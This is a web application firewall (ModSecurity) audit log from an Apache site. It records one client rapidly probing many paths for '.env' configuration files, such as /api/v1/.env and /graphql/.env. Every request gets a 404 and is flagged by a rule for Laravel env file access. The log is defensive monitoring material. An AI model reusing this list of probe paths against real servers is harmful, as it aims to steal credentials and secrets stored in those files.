--54f9b41d-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--54f9b41d-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/laravel5/.env"] [unique_id "aqYLvzTJ6xTvcJoem7f1gwAAAEc"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266879662008 123507 (- - -)
Stopwatch2: 1789266879662008 123507; combined=4347, p1=304, p2=3984, p3=0, p4=0, p5=59, sr=120, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--54f9b41d-Z--
--a8480261-A--
[13/Sep/2026:05:34:40.910549 +0300] aqYLwGM7dE9KgIIOpQhdqgAAAM8 34.175.231.24 42236 127.0.0.1 7081
--a8480261-B--
GET /v1/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D
--a8480261-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--a8480261-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/v1/.env"] [unique_id "aqYLwGM7dE9KgIIOpQhdqgAAAM8"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266880793392 117258 (- - -)
Stopwatch2: 1789266880793392 117258; combined=6048, p1=358, p2=5606, p3=0, p4=0, p5=83, sr=168, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--a8480261-Z--
--18b76b25-A--
[13/Sep/2026:05:34:42.101307 +0300] aqYLwUwu1RSkptiiNIXtnAAAAII 34.175.231.24 42244 127.0.0.1 7081
--18b76b25-B--
GET /v2/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D
--18b76b25-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--18b76b25-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/v2/.env"] [unique_id "aqYLwUwu1RSkptiiNIXtnAAAAII"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266881942365 158996 (- - -)
Stopwatch2: 1789266881942365 158996; combined=4167, p1=289, p2=3824, p3=0, p4=0, p5=54, sr=105, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--18b76b25-Z--
--73e3ee37-A--
[13/Sep/2026:05:34:43.415198 +0300] aqYLw0wu1RSkptiiNIXtnQAAAIo 34.175.231.24 42250 127.0.0.1 7081
--73e3ee37-B--
GET /v3/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D
--73e3ee37-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--73e3ee37-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/v3/.env"] [unique_id "aqYLw0wu1RSkptiiNIXtnQAAAIo"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266883305843 109420 (- - -)
Stopwatch2: 1789266883305843 109420; combined=4098, p1=254, p2=3785, p3=0, p4=0, p5=59, sr=98, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--73e3ee37-Z--
--8f37d26a-A--
[13/Sep/2026:05:34:44.617099 +0300] aqYLxGM7dE9KgIIOpQhdrAAAANM 34.175.231.24 42276 127.0.0.1 7081
--8f37d26a-B--
GET /api/v1/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D
--8f37d26a-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--8f37d26a-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/api/v1/.env"] [unique_id "aqYLxGM7dE9KgIIOpQhdrAAAANM"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266884455233 161929 (- - -)
Stopwatch2: 1789266884455233 161929; combined=7688, p1=533, p2=7097, p3=0, p4=0, p5=57, sr=160, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--8f37d26a-Z--
--0a7ece75-A--
[13/Sep/2026:05:34:45.780668 +0300] aqYLxWM7dE9KgIIOpQhdrQAAAMI 34.175.231.24 59090 127.0.0.1 7081
--0a7ece75-B--
GET /api/v2/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D
--0a7ece75-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--0a7ece75-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/api/v2/.env"] [unique_id "aqYLxWM7dE9KgIIOpQhdrQAAAMI"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266885661961 118772 (- - -)
Stopwatch2: 1789266885661961 118772; combined=4337, p1=255, p2=4002, p3=0, p4=0, p5=80, sr=109, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--0a7ece75-Z--
--936db057-A--
[13/Sep/2026:05:34:47.373886 +0300] aqYLx2M7dE9KgIIOpQhdrgAAANY 34.175.231.24 59100 127.0.0.1 7081
--936db057-B--
GET /rest/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D
--936db057-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--936db057-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/rest/.env"] [unique_id "aqYLx2M7dE9KgIIOpQhdrgAAANY"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266887201741 172201 (- - -)
Stopwatch2: 1789266887201741 172201; combined=6082, p1=877, p2=5137, p3=0, p4=0, p5=67, sr=139, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--936db057-Z--
--a8b05f2b-A--
[13/Sep/2026:05:34:48.523316 +0300] aqYLyEwu1RSkptiiNIXtngAAAJE 34.175.231.24 59132 127.0.0.1 7081
--a8b05f2b-B--
GET /graphql/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D
--a8b05f2b-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--a8b05f2b-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/graphql/.env"] [unique_id "aqYLyEwu1RSkptiiNIXtngAAAJE"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266888390965 132407 (- - -)
Stopwatch2: 1789266888390965 132407; combined=4820, p1=233, p2=4528, p3=0, p4=0, p5=58, sr=89, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--a8b05f2b-Z--
--ac30060f-A--
[13/Sep/2026:05:34:49.742179 +0300] aqYLyWM7dE9KgIIOpQhdsQAAAMc 34.175.231.24 59142 127.0.0.1 7081
--ac30060f-B--
GET /gateway/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D
--ac30060f-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--ac30060f-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/gateway/.env"] [unique_id "aqYLyWM7dE9KgIIOpQhdsQAAAMc"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266889601725 140513 (- - -)
Stopwatch2: 1789266889601725 140513; combined=3973, p1=216, p2=3691, p3=0, p4=0, p5=65, sr=87, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--ac30060f-Z--
--24bd2350-A--
[13/Sep/2026:05:34:50.918812 +0300] aqYLyjTJ6xTvcJoem7f1hAAAAFI 34.175.231.24 59152 127.0.0.1 7081
--24bd2350-B--
GET /microservice/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D
--24bd2350-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--24bd2350-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/microservice/.env"] [unique_id "aqYLyjTJ6xTvcJoem7f1hAAAAFI"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266890805275 113603 (- - -)
Stopwatch2: 1789266890805275 113603; combined=5193, p1=257, p2=4884, p3=0, p4=0, p5=52, sr=99, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--24bd2350-Z--
--3ca60241-A--
[13/Sep/2026:05:34:51.977819 +0300] aqYLy0wu1RSkptiiNIXtoAAAAIg 34.175.231.24 59162 127.0.0.1 7081
--3ca60241-B--
GET /service/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D
--3ca60241-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--3ca60241-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/service/.env"] [unique_id "aqYLy0wu1RSkptiiNIXtoAAAAIg"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266891856057 121817 (- - -)
Stopwatch2: 1789266891856057 121817; combined=4309, p1=228, p2=4028, p3=0, p4=0, p5=52, sr=91, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--3ca60241-Z--
--254c3d69-A--
[13/Sep/2026:05:34:52.991056 +0300] aqYLzGM7dE9KgIIOpQhdsgAAAMA 34.175.231.24 59168 127.0.0.1 7081
--254c3d69-B--
GET /api/v3/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D
--254c3d69-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--254c3d69-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/api/v3/.env"] [unique_id "aqYLzGM7dE9KgIIOpQhdsgAAAMA"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266892871412 119710 (- - -)
Stopwatch2: 1789266892871412 119710; combined=5888, p1=468, p2=5366, p3=0, p4=0, p5=53, sr=244, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--254c3d69-Z--
--d4313b4e-A--
[13/Sep/2026:05:34:54.099421 +0300] aqYLzUwu1RSkptiiNIXtoQAAAJM 34.175.231.24 59178 127.0.0.1 7081
--d4313b4e-B--
GET /api/dev/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D
--d4313b4e-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--d4313b4e-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/api/dev/.env"] [unique_id "aqYLzUwu1RSkptiiNIXtoQAAAJM"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266893986415 113076 (- - -)
Stopwatch2: 1789266893986415 113076; combined=4394, p1=234, p2=4095, p3=0, p4=0, p5=65, sr=86, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--d4313b4e-Z--
--fb705767-A--
[13/Sep/2026:05:34:55.274733 +0300] aqYLz0wu1RSkptiiNIXtogAAAJU 34.175.231.24 59184 127.0.0.1 7081
--fb705767-B--
GET /api/staging/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D
--fb705767-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--fb705767-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
